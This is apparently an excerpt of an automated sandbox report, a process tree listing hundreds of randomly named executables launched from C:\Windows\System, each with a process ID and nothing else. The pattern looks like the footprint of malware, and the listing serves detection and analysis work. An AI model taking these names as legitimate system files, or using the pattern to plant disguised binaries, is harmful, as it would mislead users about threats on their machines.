- C:\Windows\System\zLCtadU.exe
  C:\Windows\System\zLCtadU.exe
  2⤵
  PID:13260
- C:\Windows\System\WJdbeCY.exe
  C:\Windows\System\WJdbeCY.exe
  2⤵
  PID:12408
- C:\Windows\System\gjnFmTT.exe
  C:\Windows\System\gjnFmTT.exe
  2⤵
  PID:12676
- C:\Windows\System\QXbRlPa.exe
  C:\Windows\System\QXbRlPa.exe
  2⤵
  PID:11520
- C:\Windows\System\NpzbleI.exe
  C:\Windows\System\NpzbleI.exe
  2⤵
  PID:12152
- C:\Windows\System\AHiORFx.exe
  C:\Windows\System\AHiORFx.exe
  2⤵
  PID:13152
- C:\Windows\System\SsUnqut.exe
  C:\Windows\System\SsUnqut.exe
  2⤵
  PID:12616
- C:\Windows\System\xdzEioL.exe
  C:\Windows\System\xdzEioL.exe
  2⤵
  PID:12968
- C:\Windows\System\RYKVujx.exe
  C:\Windows\System\RYKVujx.exe
  2⤵
  PID:13276
- C:\Windows\System\WkNhDAu.exe
  C:\Windows\System\WkNhDAu.exe
  2⤵
  PID:13296
- C:\Windows\System\TLYcBxn.exe
  C:\Windows\System\TLYcBxn.exe
  2⤵
  PID:11744
- C:\Windows\System\yjuiRzz.exe
  C:\Windows\System\yjuiRzz.exe
  2⤵
  PID:12996
- C:\Windows\System\DidxgeS.exe
  C:\Windows\System\DidxgeS.exe
  2⤵
  PID:12764
- C:\Windows\System\icbmkXb.exe
  C:\Windows\System\icbmkXb.exe
  2⤵
  PID:12812
- C:\Windows\System\vDQBjSf.exe
  C:\Windows\System\vDQBjSf.exe
  2⤵
  PID:13092
- C:\Windows\System\EOBLWKv.exe
  C:\Windows\System\EOBLWKv.exe
  2⤵
  PID:13132
- C:\Windows\System\OwSxcPU.exe
  C:\Windows\System\OwSxcPU.exe
  2⤵
  PID:5496
- C:\Windows\System\nkKWTSm.exe
  C:\Windows\System\nkKWTSm.exe
  2⤵
  PID:5564
- C:\Windows\System\vgPSsNp.exe
  C:\Windows\System\vgPSsNp.exe
  2⤵
  PID:13236
- C:\Windows\System\YoFlPeB.exe
  C:\Windows\System\YoFlPeB.exe
  2⤵
  PID:11732
- C:\Windows\System\ZIputqc.exe
  C:\Windows\System\ZIputqc.exe
  2⤵
  PID:2848
- C:\Windows\System\UEOkyUd.exe
  C:\Windows\System\UEOkyUd.exe
  2⤵
  PID:12284
- C:\Windows\System\FqYXBoc.exe
  C:\Windows\System\FqYXBoc.exe
  2⤵
  PID:64
- C:\Windows\System\KrdYQYn.exe
  C:\Windows\System\KrdYQYn.exe
  2⤵
  PID:12320
- C:\Windows\System\ULMHpXW.exe
  C:\Windows\System\ULMHpXW.exe
  2⤵
  PID:4776
- C:\Windows\System\ceFQlAZ.exe
  C:\Windows\System\ceFQlAZ.exe
  2⤵
  PID:12536
- C:\Windows\System\ectnTPi.exe
  C:\Windows\System\ectnTPi.exe
  2⤵
  PID:11916
- C:\Windows\System\eFAcTDW.exe
  C:\Windows\System\eFAcTDW.exe
  2⤵
  PID:12052
- C:\Windows\System\hBcqcRj.exe
  C:\Windows\System\hBcqcRj.exe
  2⤵
  PID:364
- C:\Windows\System\AwHrYSi.exe
  C:\Windows\System\AwHrYSi.exe
  2⤵
  PID:5324
- C:\Windows\System\tiCLxaf.exe
  C:\Windows\System\tiCLxaf.exe
  2⤵
  PID:1236
- C:\Windows\System\zjEszBB.exe
  C:\Windows\System\zjEszBB.exe
  2⤵
  PID:9708
- C:\Windows\System\HIQLTXV.exe
  C:\Windows\System\HIQLTXV.exe
  2⤵
  PID:4196
- C:\Windows\System\UNMshox.exe
  C:\Windows\System\UNMshox.exe
  2⤵
  PID:5988
- C:\Windows\System\BNwxpdH.exe
  C:\Windows\System\BNwxpdH.exe
  2⤵
  PID:11988
- C:\Windows\System\nzXrBee.exe
  C:\Windows\System\nzXrBee.exe
  2⤵
  PID:7488
- C:\Windows\System\hhpFnlT.exe
  C:\Windows\System\hhpFnlT.exe
  2⤵
  PID:11476
- C:\Windows\System\eFArzjM.exe
  C:\Windows\System\eFArzjM.exe
  2⤵
  PID:11880
- C:\Windows\System\jepLrjf.exe
  C:\Windows\System\jepLrjf.exe
  2⤵
  PID:7832
- C:\Windows\System\AHIkCll.exe
  C:\Windows\System\AHIkCll.exe
  2⤵
  PID:5732
- C:\Windows\System\GkkZuNf.exe
  C:\Windows\System\GkkZuNf.exe
  2⤵
  PID:11460
- C:\Windows\System\riuuRak.exe
  C:\Windows\System\riuuRak.exe
  2⤵
  PID:11800
- C:\Windows\System\yJIzMHo.exe
  C:\Windows\System\yJIzMHo.exe
  2⤵
  PID:12636
- C:\Windows\System\UyjrUVT.exe
  C:\Windows\System\UyjrUVT.exe
  2⤵
  PID:5976
- C:\Windows\System\UrHBlIp.exe
  C:\Windows\System\UrHBlIp.exe
  2⤵
  PID:11948
- C:\Windows\System\TZRIbyu.exe
  C:\Windows\System\TZRIbyu.exe
  2⤵
  PID:5336
- C:\Windows\System\nIqQMdW.exe
  C:\Windows\System\nIqQMdW.exe
  2⤵
  PID:3640
- C:\Windows\System\mTyidLo.exe
  C:\Windows\System\mTyidLo.exe
  2⤵
  PID:11748
- C:\Windows\System\IBhCwSz.exe
  C:\Windows\System\IBhCwSz.exe
  2⤵
  PID:12076
- C:\Windows\System\bTEylyP.exe
  C:\Windows\System\bTEylyP.exe
  2⤵
  PID:10280
- C:\Windows\System\HZhwTHl.exe
  C:\Windows\System\HZhwTHl.exe
  2⤵
  PID:13288
- C:\Windows\System\iUjqzio.exe
  C:\Windows\System\iUjqzio.exe
  2⤵
  PID:6048
- C:\Windows\System\Mohmooq.exe
  C:\Windows\System\Mohmooq.exe
  2⤵
  PID:12112
- C:\Windows\System\DJKHSoz.exe
  C:\Windows\System\DJKHSoz.exe
  2⤵
  PID:6076
- C:\Windows\System\kxHOmqx.exe
  C:\Windows\System\kxHOmqx.exe
  2⤵
  PID:3524
- C:\Windows\System\mhHtQQt.exe
  C:\Windows\System\mhHtQQt.exe
  2⤵
  PID:4436
- C:\Windows\System\KjxXeSE.exe
  C:\Windows\System\KjxXeSE.exe
  2⤵
  PID:13112
- C:\Windows\System\EqPTgAZ.exe
  C:\Windows\System\EqPTgAZ.exe
  2⤵
  PID:1948
- C:\Windows\System\dbfuNDH.exe
  C:\Windows\System\dbfuNDH.exe
  2⤵
  PID:1256
- C:\Windows\System\CQZcuOT.exe
  C:\Windows\System\CQZcuOT.exe
  2⤵
  PID:2060
- C:\Windows\System\twqZnui.exe
  C:\Windows\System\twqZnui.exe
  2⤵
  PID:5800
- C:\Windows\System\sAvBAdH.exe
  C:\Windows\System\sAvBAdH.exe
  2⤵
  PID:13232
- C:\Windows\System\pJFefWc.exe
  C:\Windows\System\pJFefWc.exe
  2⤵
  PID:10792
- C:\Windows\System\uYKwGCb.exe
  C:\Windows\System\uYKwGCb.exe
  2⤵
  PID:12572
- C:\Windows\System\nabsJuF.exe
  C:\Windows\System\nabsJuF.exe
  2⤵
  PID:12748
- C:\Windows\System\BbJZMvJ.exe
  C:\Windows\System\BbJZMvJ.exe
  2⤵
  PID:12208
- C:\Windows\System\uyyvixe.exe
  C:\Windows\System\uyyvixe.exe
  2⤵
  PID:11788
- C:\Windows\System\AxWPZCI.exe
  C:\Windows\System\AxWPZCI.exe
  2⤵
  PID:13396
- C:\Windows\System\ipdzUpl.exe
  C:\Windows\System\ipdzUpl.exe
  2⤵
  PID:13420
- C:\Windows\System\HvPFVvP.exe
  C:\Windows\System\HvPFVvP.exe
  2⤵
  PID:13444
- C:\Windows\System\DbZkrXN.exe
  C:\Windows\System\DbZkrXN.exe
  2⤵
  PID:13464
- C:\Windows\System\moefuAH.exe
  C:\Windows\System\moefuAH.exe
  2⤵
  PID:13488
- C:\Windows\System\DKaGyOb.exe
  C:\Windows\System\DKaGyOb.exe
  2⤵
  PID:13504
- C:\Windows\System\YFjJxzv.exe
  C:\Windows\System\YFjJxzv.exe
  2⤵
  PID:13528
- C:\Windows\System\NBtsTZA.exe
  C:\Windows\System\NBtsTZA.exe
  2⤵
  PID:13548
- C:\Windows\System\EMvJCol.exe
  C:\Windows\System\EMvJCol.exe
  2⤵
  PID:13996
- C:\Windows\System\UBIjbGk.exe
  C:\Windows\System\UBIjbGk.exe
  2⤵
  PID:14092
- C:\Windows\System\RMIWTZg.exe
  C:\Windows\System\RMIWTZg.exe
  2⤵
  PID:14108
- C:\Windows\System\zJgKlzH.exe
  C:\Windows\System\zJgKlzH.exe
  2⤵
  PID:14124
- C:\Windows\System\MNicgOQ.exe
  C:\Windows\System\MNicgOQ.exe
  2⤵
  PID:14140
- C:\Windows\System\HneVMpX.exe
  C:\Windows\System\HneVMpX.exe
  2⤵
  PID:14156
- C:\Windows\System\RuFwEZO.exe
  C:\Windows\System\RuFwEZO.exe
  2⤵
  PID:14172
- C:\Windows\System\vgOTJEg.exe
  C:\Windows\System\vgOTJEg.exe
  2⤵
  PID:14188
- C:\Windows\System\hrURTlS.exe
  C:\Windows\System\hrURTlS.exe
  2⤵
  PID:14204
- C:\Windows\System\sOCjyBe.exe
  C:\Windows\System\sOCjyBe.exe
  2⤵
  PID:14220
- C:\Windows\System\agBTWvY.exe
  C:\Windows\System\agBTWvY.exe
  2⤵
  PID:14236
- C:\Windows\System\bnbnlut.exe
  C:\Windows\System\bnbnlut.exe
  2⤵
  PID:14252
- C:\Windows\System\DGMtxrZ.exe
  C:\Windows\System\DGMtxrZ.exe
  2⤵
  PID:14268
- C:\Windows\System\dnEShJw.exe
  C:\Windows\System\dnEShJw.exe
  2⤵
  PID:14284
- C:\Windows\System\hxLJkTA.exe
  C:\Windows\System\hxLJkTA.exe
  2⤵
  PID:14300
- C:\Windows\System\BSuJZNq.exe
  C:\Windows\System\BSuJZNq.exe
  2⤵
  PID:14316
- C:\Windows\System\MsLHXtt.exe
  C:\Windows\System\MsLHXtt.exe
  2⤵
  PID:14332
- C:\Windows\System\tApQonT.exe
  C:\Windows\System\tApQonT.exe
  2⤵
  PID:11868
- C:\Windows\System\cfqCGel.exe
  C:\Windows\System\cfqCGel.exe
  2⤵
  PID:12260
- C:\Windows\System\AUtVfWy.exe
  C:\Windows\System\AUtVfWy.exe
  2⤵
  PID:3636
- C:\Windows\System\bPlmbfc.exe
  C:\Windows\System\bPlmbfc.exe
  2⤵
  PID:5488
- C:\Windows\System\XfeCBLW.exe
  C:\Windows\System\XfeCBLW.exe
  2⤵
  PID:1724
- C:\Windows\System\QEEiZWc.exe
  C:\Windows\System\QEEiZWc.exe
  2⤵
  PID:3788
- C:\Windows\System\ByfxPxT.exe
  C:\Windows\System\ByfxPxT.exe
  2⤵
  PID:4860
- C:\Windows\System\uZktINc.exe
  C:\Windows\System\uZktINc.exe
  2⤵
  PID:3572
- C:\Windows\System\sGPYQHh.exe
  C:\Windows\System\sGPYQHh.exe
  2⤵
  PID:3976
- C:\Windows\System\fPBVSLZ.exe
  C:\Windows\System\fPBVSLZ.exe
  2⤵
  PID:9172
- C:\Windows\System\XUdGTOI.exe
  C:\Windows\System\XUdGTOI.exe
  2⤵
  PID:12904
- C:\Windows\System\fZBZwBC.exe
  C:\Windows\System\fZBZwBC.exe
  2⤵
  PID:11768
- C:\Windows\System\AzvzIsj.exe
  C:\Windows\System\AzvzIsj.exe
  2⤵
  PID:13308
- C:\Windows\System\ovWXABg.exe
  C:\Windows\System\ovWXABg.exe
  2⤵
  PID:6072
- C:\Windows\System\KIViJwk.exe
  C:\Windows\System\KIViJwk.exe
  2⤵
  PID:2312
- C:\Windows\System\inmBvPi.exe
  C:\Windows\System\inmBvPi.exe
  2⤵
  PID:1956
- C:\Windows\System\tumYuDO.exe
  C:\Windows\System\tumYuDO.exe
  2⤵
  PID:4480
- C:\Windows\System\HbwMdHa.exe
  C:\Windows\System\HbwMdHa.exe
  2⤵
  PID:13320
- C:\Windows\System\DroyptL.exe
  C:\Windows\System\DroyptL.exe
  2⤵
  PID:13348
- C:\Windows\System\BAtIfjB.exe
  C:\Windows\System\BAtIfjB.exe
  2⤵
  PID:3836
- C:\Windows\System\nvlwXOB.exe
  C:\Windows\System\nvlwXOB.exe
  2⤵
  PID:13432
- C:\Windows\System\uPAoAdI.exe
  C:\Windows\System\uPAoAdI.exe
  2⤵
  PID:13520
- C:\Windows\System\pmfecSZ.exe
  C:\Windows\System\pmfecSZ.exe
  2⤵
  PID:13852
- C:\Windows\System\dPTZRoH.exe
  C:\Windows\System\dPTZRoH.exe
  2⤵
  PID:6212
- C:\Windows\System\jmPtYBf.exe
  C:\Windows\System\jmPtYBf.exe
  2⤵
  PID:6824
- C:\Windows\System\nKlUSAi.exe
  C:\Windows\System\nKlUSAi.exe
  2⤵
  PID:6656
- C:\Windows\System\vrKuqAJ.exe
  C:\Windows\System\vrKuqAJ.exe
  2⤵
  PID:3032
- C:\Windows\System\qWGYyrw.exe
  C:\Windows\System\qWGYyrw.exe
  2⤵
  PID:7136
- C:\Windows\System\YFADGru.exe
  C:\Windows\System\YFADGru.exe
  2⤵
  PID:6024
- C:\Windows\System\dFllsDk.exe
  C:\Windows\System\dFllsDk.exe
  2⤵
  PID:14036
- C:\Windows\System\MnMRaaS.exe
  C:\Windows\System\MnMRaaS.exe
  2⤵
  PID:12984
- C:\Windows\System\sTZthfF.exe
  C:\Windows\System\sTZthfF.exe
  2⤵
  PID:14052
- C:\Windows\System\DRUJKqI.exe
  C:\Windows\System\DRUJKqI.exe
  2⤵
  PID:14040
- C:\Windows\System\UGHffIb.exe
  C:\Windows\System\UGHffIb.exe
  2⤵
  PID:2256
- C:\Windows\System\hIzRRdB.exe
  C:\Windows\System\hIzRRdB.exe
  2⤵
  PID:14028
- C:\Windows\System\GfcwBZA.exe
  C:\Windows\System\GfcwBZA.exe
  2⤵
  PID:14068
- C:\Windows\System\AJXLQSt.exe
  C:\Windows\System\AJXLQSt.exe
  2⤵
  PID:14100
- C:\Windows\System\FgMpaJv.exe
  C:\Windows\System\FgMpaJv.exe
  2⤵
  PID:1484
- C:\Windows\System\gilfLNP.exe
  C:\Windows\System\gilfLNP.exe
  2⤵
  PID:14212
- C:\Windows\System\aDnntzB.exe
  C:\Windows\System\aDnntzB.exe
  2⤵
  PID:14260
- C:\Windows\System\xAFPnCs.exe
  C:\Windows\System\xAFPnCs.exe
  2⤵
  PID:14280
- C:\Windows\System\WTPXOOk.exe
  C:\Windows\System\WTPXOOk.exe
  2⤵
  PID:12036
- C:\Windows\System\dMfwywv.exe
  C:\Windows\System\dMfwywv.exe
  2⤵
  PID:5100
- C:\Windows\System\xgjpbuE.exe
  C:\Windows\System\xgjpbuE.exe
  2⤵
  PID:5636
- C:\Windows\System\qJkHBYb.exe
  C:\Windows\System\qJkHBYb.exe
  2⤵
  PID:1936
- C:\Windows\System\WmIkjay.exe
  C:\Windows\System\WmIkjay.exe
  2⤵
  PID:3420
- C:\Windows\System\PbeVcpd.exe
  C:\Windows\System\PbeVcpd.exe
  2⤵
  PID:13660
- C:\Windows\System\yviGjSC.exe
  C:\Windows\System\yviGjSC.exe
  2⤵
  PID:11608
- C:\Windows\System\RDxzjkE.exe
  C:\Windows\System\RDxzjkE.exe
  2⤵
  PID:13740
- C:\Windows\System\JOHLYLc.exe
  C:\Windows\System\JOHLYLc.exe
  2⤵
  PID:4344
- C:\Windows\System\qOegojN.exe
  C:\Windows\System\qOegojN.exe
  2⤵
  PID:6848
- C:\Windows\System\OhYQaQM.exe
  C:\Windows\System\OhYQaQM.exe
  2⤵
  PID:5176
- C:\Windows\System\BbrKlmK.exe
  C:\Windows\System\BbrKlmK.exe
  2⤵
  PID:6688
- C:\Windows\System\RxkrJOk.exe
  C:\Windows\System\RxkrJOk.exe
  2⤵
  PID:11772
- C:\Windows\System\kyfnGzv.exe
  C:\Windows\System\kyfnGzv.exe
  2⤵
  PID:13944
- C:\Windows\System\DNqwGLG.exe
  C:\Windows\System\DNqwGLG.exe
  2⤵
  PID:14084
- C:\Windows\System\ddPeVLE.exe
  C:\Windows\System\ddPeVLE.exe
  2⤵
  PID:5620
- C:\Windows\System\wbhRBkA.exe
  C:\Windows\System\wbhRBkA.exe
  2⤵
  PID:14168
- C:\Windows\System\DxqxrKO.exe
  C:\Windows\System\DxqxrKO.exe
  2⤵
  PID:13968
- C:\Windows\System\PmIPwNq.exe
  C:\Windows\System\PmIPwNq.exe
  2⤵
  PID:4272
- C:\Windows\System\yvDwYQM.exe
  C:\Windows\System\yvDwYQM.exe
  2⤵
  PID:11568
- C:\Windows\System\GVulRwO.exe
  C:\Windows\System\GVulRwO.exe
  2⤵
  PID:732
- C:\Windows\System\GpQdmng.exe
  C:\Windows\System\GpQdmng.exe
  2⤵
  PID:3612
- C:\Windows\System\IVkJCaM.exe
  C:\Windows\System\IVkJCaM.exe
  2⤵
  PID:5972
- C:\Windows\System\GAbFfbq.exe
  C:\Windows\System\GAbFfbq.exe
  2⤵
  PID:5808
- C:\Windows\System\bvTALeC.exe
  C:\Windows\System\bvTALeC.exe
  2⤵
  PID:1968
- C:\Windows\System\nqnVOgT.exe
  C:\Windows\System\nqnVOgT.exe
  2⤵
  PID:13732
- C:\Windows\System\PkJMQMy.exe
  C:\Windows\System\PkJMQMy.exe
  2⤵
  PID:4192
- C:\Windows\System\lWFGioj.exe
  C:\Windows\System\lWFGioj.exe
  2⤵
  PID:3660
- C:\Windows\System\ixbpUyo.exe
  C:\Windows\System\ixbpUyo.exe
  2⤵
  PID:13600
- C:\Windows\System\yIcwrJc.exe
  C:\Windows\System\yIcwrJc.exe
  2⤵
  PID:6712
- C:\Windows\System\FRDIRPB.exe
  C:\Windows\System\FRDIRPB.exe
  2⤵
  PID:5136
- C:\Windows\System\wlaQgVs.exe
  C:\Windows\System\wlaQgVs.exe
  2⤵
  PID:5816
- C:\Windows\System\uqkVWCK.exe
  C:\Windows\System\uqkVWCK.exe
  2⤵
  PID:7352
- C:\Windows\System\FabHKZf.exe
  C:\Windows\System\FabHKZf.exe
  2⤵
  PID:3376
- C:\Windows\System\dByWVKg.exe
  C:\Windows\System\dByWVKg.exe
  2⤵
  PID:4100
- C:\Windows\System\ZNarRKJ.exe
  C:\Windows\System\ZNarRKJ.exe
  2⤵
  PID:5556
- C:\Windows\System\MxzgItp.exe
  C:\Windows\System\MxzgItp.exe
  2⤵
  PID:10212
- C:\Windows\System\UlFPudl.exe
  C:\Windows\System\UlFPudl.exe
  2⤵
  PID:3920
- C:\Windows\System\heplGNN.exe
  C:\Windows\System\heplGNN.exe
  2⤵
  PID:3464
- C:\Windows\System\lxoQKdY.exe
  C:\Windows\System\lxoQKdY.exe
  2⤵
  PID:13412
- C:\Windows\System\spGutgT.exe
  C:\Windows\System\spGutgT.exe
  2⤵
  PID:4408
- C:\Windows\System\fWVitnv.exe
  C:\Windows\System\fWVitnv.exe
  2⤵
  PID:13304
- C:\Windows\System\Hmybzeq.exe
  C:\Windows\System\Hmybzeq.exe
  2⤵
  PID:640
- C:\Windows\System\gAuLgDM.exe
  C:\Windows\System\gAuLgDM.exe
  2⤵
  PID:4472
- C:\Windows\System\Uvwjxsa.exe
  C:\Windows\System\Uvwjxsa.exe
  2⤵
  PID:4680
- C:\Windows\System\spPGZze.exe
  C:\Windows\System\spPGZze.exe
  2⤵
  PID:5588
- C:\Windows\System\LIoRTGP.exe
  C:\Windows\System\LIoRTGP.exe
  2⤵
  PID:868
- C:\Windows\System\sIyELvp.exe
  C:\Windows\System\sIyELvp.exe
  2⤵
  PID:6096
- C:\Windows\System\beNMmjO.exe
  C:\Windows\System\beNMmjO.exe
  2⤵
  PID:3356
- C:\Windows\System\ibiRuDa.exe
  C:\Windows\System\ibiRuDa.exe
  2⤵
  PID:12336
- C:\Windows\System\WOkWRRG.exe
  C:\Windows\System\WOkWRRG.exe
  2⤵
  PID:13292
- C:\Windows\System\FvgaRoW.exe
  C:\Windows\System\FvgaRoW.exe
  2⤵
  PID:5224
- C:\Windows\System\DUYJwra.exe
  C:\Windows\System\DUYJwra.exe
  2⤵
  PID:4048
- C:\Windows\System\QPuBIwJ.exe
  C:\Windows\System\QPuBIwJ.exe
  2⤵
  PID:412
- C:\Windows\System\updyYaJ.exe
  C:\Windows\System\updyYaJ.exe
  2⤵
  PID:3452
- C:\Windows\System\JIRCstF.exe
  C:\Windows\System\JIRCstF.exe
  2⤵
  PID:2384
- C:\Windows\System\AZsFfQO.exe
  C:\Windows\System\AZsFfQO.exe
  2⤵
  PID:14364
- C:\Windows\System\zbcKVlC.exe
  C:\Windows\System\zbcKVlC.exe
  2⤵
  PID:14384
- C:\Windows\System\bfhZmYA.exe
  C:\Windows\System\bfhZmYA.exe
  2⤵
  PID:14408
- C:\Windows\System\WXJDxsb.exe
  C:\Windows\System\WXJDxsb.exe
  2⤵
  PID:14536
- C:\Windows\System\zfwlBnn.exe
  C:\Windows\System\zfwlBnn.exe
  2⤵
  PID:14704
- C:\Windows\System\vIxOrJR.exe
  C:\Windows\System\vIxOrJR.exe
  2⤵
  PID:14956
- C:\Windows\System\szIYeCk.exe
  C:\Windows\System\szIYeCk.exe
  2⤵
  PID:14972
- C:\Windows\System\KdOiIFf.exe
  C:\Windows\System\KdOiIFf.exe
  2⤵
  PID:14996
- C:\Windows\System\TvPVnEK.exe
  C:\Windows\System\TvPVnEK.exe
  2⤵
  PID:15020
- C:\Windows\System\WlapzLh.exe
  C:\Windows\System\WlapzLh.exe
  2⤵
  PID:15044
- C:\Windows\System\bYHIhzY.exe
  C:\Windows\System\bYHIhzY.exe
  2⤵
  PID:15064
- C:\Windows\System\thZMYkQ.exe
  C:\Windows\System\thZMYkQ.exe
  2⤵
  PID:15088
- C:\Windows\System\VaUyVhk.exe
  C:\Windows\System\VaUyVhk.exe
  2⤵
  PID:15108
- C:\Windows\System\zqLkoRl.exe
  C:\Windows\System\zqLkoRl.exe
  2⤵
  PID:15124
- C:\Windows\System\CeurIZL.exe
  C:\Windows\System\CeurIZL.exe
  2⤵
  PID:15144
- C:\Windows\System\cXHWQIe.exe
  C:\Windows\System\cXHWQIe.exe
  2⤵
  PID:15160
- C:\Windows\System\alZlxYl.exe
  C:\Windows\System\alZlxYl.exe
  2⤵
  PID:15176
- C:\Windows\System\qTjjnIH.exe
  C:\Windows\System\qTjjnIH.exe
  2⤵
  PID:15196
- C:\Windows\System\KGOXIMt.exe
  C:\Windows\System\KGOXIMt.exe
  2⤵
  PID:15336
- C:\Windows\System\DUiIDNJ.exe
  C:\Windows\System\DUiIDNJ.exe
  2⤵
  PID:14264
- C:\Windows\System\GUDhaom.exe
  C:\Windows\System\GUDhaom.exe
  2⤵
  PID:14056
- C:\Windows\System\PlHeOhO.exe
  C:\Windows\System\PlHeOhO.exe
  2⤵
  PID:4904
- C:\Windows\System\eGzlrtD.exe
  C:\Windows\System\eGzlrtD.exe
  2⤵
  PID:14396
- C:\Windows\System\kSyqyQM.exe
  C:\Windows\System\kSyqyQM.exe
  2⤵
  PID:14460
- C:\Windows\System\ewOBjuK.exe
  C:\Windows\System\ewOBjuK.exe
  2⤵
  PID:14548
- C:\Windows\System\mWFMXyW.exe
  C:\Windows\System\mWFMXyW.exe
  2⤵
  PID:14580
- C:\Windows\System\HGOScPt.exe
  C:\Windows\System\HGOScPt.exe
  2⤵
  PID:14616
- C:\Windows\System\cnnTFnb.exe
  C:\Windows\System\cnnTFnb.exe
  2⤵
  PID:14552
- C:\Windows\System\MYQLREJ.exe
  C:\Windows\System\MYQLREJ.exe
  2⤵
  PID:14624
- C:\Windows\System\KUOSPjz.exe
  C:\Windows\System\KUOSPjz.exe
  2⤵
  PID:14776
- C:\Windows\System\EalfSdk.exe
  C:\Windows\System\EalfSdk.exe
  2⤵
  PID:14812
- C:\Windows\System\PWNclfj.exe
  C:\Windows\System\PWNclfj.exe
  2⤵
  PID:8360
- C:\Windows\System\IneQEsr.exe
  C:\Windows\System\IneQEsr.exe
  2⤵
  PID:14892
- C:\Windows\System\GKYXWZe.exe
  C:\Windows\System\GKYXWZe.exe
  2⤵
  PID:7752
- C:\Windows\System\aCjfPVo.exe
  C:\Windows\System\aCjfPVo.exe
  2⤵
  PID:5560
- C:\Windows\System\luLDdYH.exe
  C:\Windows\System\luLDdYH.exe
  2⤵
  PID:14860
- C:\Windows\System\pThSeTc.exe
  C:\Windows\System\pThSeTc.exe
  2⤵
  PID:7720
- C:\Windows\System\iWhAxWm.exe
  C:\Windows\System\iWhAxWm.exe
  2⤵
  PID:7668
- C:\Windows\System\nAPVjSE.exe
  C:\Windows\System\nAPVjSE.exe
  2⤵
  PID:14772
- C:\Windows\System\JSJeqvy.exe
  C:\Windows\System\JSJeqvy.exe
  2⤵
  PID:15040
- C:\Windows\System\WpeTOPR.exe
  C:\Windows\System\WpeTOPR.exe
  2⤵
  PID:7060
- C:\Windows\System\LwHnUKk.exe
  C:\Windows\System\LwHnUKk.exe
  2⤵
  PID:6440
- C:\Windows\System\XOoXtuP.exe
  C:\Windows\System\XOoXtuP.exe
  2⤵
  PID:8976
- C:\Windows\System\AiVrqaq.exe
  C:\Windows\System\AiVrqaq.exe
  2⤵
  PID:14852
- C:\Windows\System\dnLqLqD.exe
  C:\Windows\System\dnLqLqD.exe
  2⤵
  PID:14872
- C:\Windows\System\EclWINC.exe
  C:\Windows\System\EclWINC.exe
  2⤵
  PID:6692
- C:\Windows\System\EdtzwEV.exe
  C:\Windows\System\EdtzwEV.exe
  2⤵
  PID:6680
- C:\Windows\System\NjlzXOJ.exe
  C:\Windows\System\NjlzXOJ.exe
  2⤵
  PID:6248
- C:\Windows\System\RGbSRKJ.exe
  C:\Windows\System\RGbSRKJ.exe
  2⤵
  PID:6988
- C:\Windows\System\BOoxACd.exe
  C:\Windows\System\BOoxACd.exe
  2⤵
  PID:6432
- C:\Windows\System\LQlCdrg.exe
  C:\Windows\System\LQlCdrg.exe
  2⤵
  PID:7836
- C:\Windows\System\VsZfzPQ.exe
  C:\Windows\System\VsZfzPQ.exe
  2⤵
  PID:7900
- C:\Windows\System\RpHDMuL.exe
  C:\Windows\System\RpHDMuL.exe
  2⤵
  PID:8968
- C:\Windows\System\zNjaluK.exe
  C:\Windows\System\zNjaluK.exe
  2⤵
  PID:8472
- C:\Windows\System\BuEpJXb.exe
  C:\Windows\System\BuEpJXb.exe
  2⤵
  PID:15140
- C:\Windows\System\YBCuUAx.exe
  C:\Windows\System\YBCuUAx.exe
  2⤵
  PID:5752
- C:\Windows\System\oLVTeyu.exe
  C:\Windows\System\oLVTeyu.exe
  2⤵
  PID:14428
- C:\Windows\System\uLPHTTt.exe
  C:\Windows\System\uLPHTTt.exe
  2⤵
  PID:13140
- C:\Windows\System\RqxMivA.exe
  C:\Windows\System\RqxMivA.exe
  2⤵
  PID:14376
- C:\Windows\System\XrhVcbh.exe
  C:\Windows\System\XrhVcbh.exe
  2⤵
  PID:1000
- C:\Windows\System\pfVkQlh.exe
  C:\Windows\System\pfVkQlh.exe
  2⤵
  PID:7200
- C:\Windows\System\pnTGubI.exe
  C:\Windows\System\pnTGubI.exe
  2⤵
  PID:7324
- C:\Windows\System\yjOjSFj.exe
  C:\Windows\System\yjOjSFj.exe
  2⤵
  PID:7048
- C:\Windows\System\pLQTJRh.exe
  C:\Windows\System\pLQTJRh.exe
  2⤵
  PID:9056
- C:\Windows\System\CoriLJD.exe
  C:\Windows\System\CoriLJD.exe
  2⤵
  PID:7448
- C:\Windows\System\wilJxuT.exe
  C:\Windows\System\wilJxuT.exe
  2⤵
  PID:14604
- C:\Windows\System\vbrKcua.exe
  C:\Windows\System\vbrKcua.exe
  2⤵
  PID:7304
- C:\Windows\System\WOKBzBx.exe
  C:\Windows\System\WOKBzBx.exe
  2⤵
  PID:14640
- C:\Windows\System\OpmArby.exe
  C:\Windows\System\OpmArby.exe
  2⤵
  PID:7160
- C:\Windows\System\ajldtPM.exe
  C:\Windows\System\ajldtPM.exe
  2⤵
  PID:14660
- C:\Windows\System\KZndvsd.exe
  C:\Windows\System\KZndvsd.exe
  2⤵
  PID:7732
- C:\Windows\System\WRjfJbf.exe
  C:\Windows\System\WRjfJbf.exe
  2⤵
  PID:14620
- C:\Windows\System\rJzbgfm.exe
  C:\Windows\System\rJzbgfm.exe
  2⤵
  PID:14684
- C:\Windows\System\dmRTqjJ.exe
  C:\Windows\System\dmRTqjJ.exe
  2⤵
  PID:9344
- C:\Windows\System\FNOWjJj.exe
  C:\Windows\System\FNOWjJj.exe
  2⤵
  PID:14456
- C:\Windows\System\MmtNfeA.exe
  C:\Windows\System\MmtNfeA.exe
  2⤵
  PID:3004
- C:\Windows\System\iCxfisj.exe
  C:\Windows\System\iCxfisj.exe
  2⤵
  PID:8724
- C:\Windows\System\ourHlnG.exe
  C:\Windows\System\ourHlnG.exe
  2⤵
  PID:8944
- C:\Windows\System\MBgVlCm.exe
  C:\Windows\System\MBgVlCm.exe
  2⤵
  PID:8920
- C:\Windows\System\YCWhxBm.exe
  C:\Windows\System\YCWhxBm.exe
  2⤵
  PID:7080
- C:\Windows\System\tYmPKwd.exe
  C:\Windows\System\tYmPKwd.exe
  2⤵
  PID:9336
- C:\Windows\System\MlRYJBM.exe
  C:\Windows\System\MlRYJBM.exe
  2⤵
  PID:14856
- C:\Windows\System\NpuusmN.exe
  C:\Windows\System\NpuusmN.exe
  2⤵
  PID:9124
- C:\Windows\System\VpOBeRK.exe
  C:\Windows\System\VpOBeRK.exe
  2⤵
  PID:9532
- C:\Windows\System\ItbkHmn.exe
  C:\Windows\System\ItbkHmn.exe
  2⤵
  PID:14448
- C:\Windows\System\mMSnMak.exe
  C:\Windows\System\mMSnMak.exe
  2⤵
  PID:9448
- C:\Windows\System\fFLZzKG.exe
  C:\Windows\System\fFLZzKG.exe
  2⤵
  PID:14740
